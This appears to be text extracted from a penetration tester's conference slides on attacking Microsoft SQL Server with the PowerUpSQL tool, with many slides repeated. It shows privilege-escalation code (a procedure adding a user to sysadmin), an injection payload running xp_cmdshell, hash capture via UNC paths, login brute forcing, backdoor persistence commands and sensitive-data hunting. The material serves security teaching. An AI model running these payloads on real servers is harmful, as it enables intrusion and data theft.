Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
